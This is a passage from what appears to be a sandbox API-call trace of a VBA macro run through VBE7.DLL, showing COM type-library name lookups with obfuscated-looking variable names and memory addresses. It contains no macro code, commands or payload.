lpMultiByteStr=0x2885da9985c, cbMultiByte=2, lpWideCharStr=0x288617f357e, cchWideChar=6 | out: lpWideCharStr="&H") returned 2 [0071.694] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc7b0 [0071.694] _mbscpy_s (in: _Dst=0x2885dacc7b0, _DstSizeInBytes=0x4, _Src=0x28860e6133a | out: _Dst=0x2885dacc7b0) returned 0x0 [0071.694] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Mid") returned 0x3070ed [0071.694] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.694] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.694] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.694] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.694] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.694] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.694] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc7b0) [0071.694] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.694] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.694] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.695] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.695] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.695] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.695] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.695] IUnknown:AddRef (This=0x2885d6296c8) returned 0x3 [0071.695] IUnknown:Release (This=0x2885d6296c8) returned 0x2 [0071.695] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.695] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.695] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x28861800000 [0071.696] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.696] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.696] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.696] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.696] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.696] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.696] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.696] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc770 [0071.696] _mbscpy_s (in: _Dst=0x2885dacc770, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc770) returned 0x0 [0071.696] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.696] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.696] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.696] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.696] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.696] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.696] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.696] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc770) [0071.696] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.696] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.697] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.697] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.697] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.697] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.697] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.697] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="hDVOtcloqqEtBtEFfEcjc") returned 0x400d0d [0071.697] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="hDVOtcloqqEtBtEFfEcjc" | out: _Dst="hDVOtcloqqEtBtEFfEcjc") returned 0x0 [0071.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="hDVOtcloqqEtBtEFfEcjc") returned 22 [0071.697] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.697] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="hDVOtcloqqEtBtEFfEcjc", lHashVal=0x400d0d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.697] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.697] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.697] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="hDVOtcloqqEtBtEFfEcjc", lHashVal=0x400d0d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.697] IUnknown:Release (This=0x28857594370) returned 0xc [0071.697] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.697] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="hDVOtcloqqEtBtEFfEcjc", lHashVal=0x400d0d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.697] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.697] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.697] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="hDVOtcloqqEtBtEFfEcjc", lHashVal=0x400d0d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.697] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63ace, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="hDVOtcloqqEtBtEFfEcjc") returned 22 [0071.697] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="hDVOtcloqqEtBtEFfEcjc", lHashVal=0x300d0d, wFlags=0x5, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.697] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d060b70, cb=0x1000) returned 0x2885769c210 [0071.697] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da95a90 [0071.697] _mbscpy_s (in: _Dst=0x2885da95a90, _DstSizeInBytes=0x16, _Src=0x28860e63ace | out: _Dst=0x2885da95a90) returned 0x0 [0071.697] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_hDVOtcloqqEtBtEFfEcjc") returned 0x309c37 [0071.697] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_hDVOtcloqqEtBtEFfEcjc" | out: _Dst="_B_var_hDVOtcloqqEtBtEFfEcjc") returned 0x0 [0071.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_hDVOtcloqqEtBtEFfEcjc") returned 29 [0071.697] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.697] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_hDVOtcloqqEtBtEFfEcjc", lHashVal=0x309c37, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.697] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.697] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.698] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_hDVOtcloqqEtBtEFfEcjc", lHashVal=0x309c37, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.698] IUnknown:Release (This=0x28857594370) returned 0xc [0071.698] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.698] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_hDVOtcloqqEtBtEFfEcjc", lHashVal=0x309c37, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.698] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.698] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.698] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_hDVOtcloqqEtBtEFfEcjc", lHashVal=0x309c37, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.698] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.698] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.698] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e702ae, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_hDVOtcloqqEtBtEFfEcjc") returned 29 [0071.698] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_hDVOtcloqqEtBtEFfEcjc", lHashVal=0x309c37, wFlags=0x5, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x68005f00720061, ppTypeComp=0x74004f00000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x68005f00720061, ppTypeComp=0x74004f00000000, pDummy=0x0) returned 0x0 [0071.698] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63ace | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.698] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da95a90) [0071.698] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.698] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.698] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.698] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.698] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.698] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.698] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.698] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.698] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.698] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.698] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.699] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc3f0 [0071.699] _mbscpy_s (in: _Dst=0x2885dacc3f0, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc3f0) returned 0x0 [0071.699] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.699] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.699] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.699] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.699] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.699] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.699] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.699] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc3f0) [0071.699] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.699] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.699] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.699] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.699] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.699] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.699] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.699] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LFkuwMQIzXkHbQrhctzyM") returned 0x40b74d [0071.699] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="LFkuwMQIzXkHbQrhctzyM" | out: _Dst="LFkuwMQIzXkHbQrhctzyM") returned 0x0 [0071.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="LFkuwMQIzXkHbQrhctzyM") returned 22 [0071.699] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.699] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="LFkuwMQIzXkHbQrhctzyM", lHashVal=0x40b74d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.699] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.699] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.699] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="LFkuwMQIzXkHbQrhctzyM", lHashVal=0x40b74d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.699] IUnknown:Release (This=0x28857594370) returned 0xc [0071.699] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.699] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="LFkuwMQIzXkHbQrhctzyM", lHashVal=0x40b74d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.700] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.700] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.700] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="LFkuwMQIzXkHbQrhctzyM", lHashVal=0x40b74d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.700] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63b3e, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="LFkuwMQIzXkHbQrhctzyM") returned 22 [0071.700] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="LFkuwMQIzXkHbQrhctzyM", lHashVal=0x30b333, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.700] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da96210 [0071.700] _mbscpy_s (in: _Dst=0x2885da96210, _DstSizeInBytes=0x16, _Src=0x28860e63b3e | out: _Dst=0x2885da96210) returned 0x0 [0071.700] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_LFkuwMQIzXkHbQrhctzyM") returned 0x30329d [0071.700] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_LFkuwMQIzXkHbQrhctzyM" | out: _Dst="_B_var_LFkuwMQIzXkHbQrhctzyM") returned 0x0 [0071.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_LFkuwMQIzXkHbQrhctzyM") returned 29 [0071.700] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.700] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_LFkuwMQIzXkHbQrhctzyM", lHashVal=0x30329d, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.700] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.700] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.700] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_LFkuwMQIzXkHbQrhctzyM", lHashVal=0x30329d, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.700] IUnknown:Release (This=0x28857594370) returned 0xc [0071.700] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.700] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_LFkuwMQIzXkHbQrhctzyM", lHashVal=0x30329d, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.700] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.700] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.700] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_LFkuwMQIzXkHbQrhctzyM", lHashVal=0x30329d, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.700] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.700] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.700] IUnknown:Release (This=0x2885d4c6250) returned 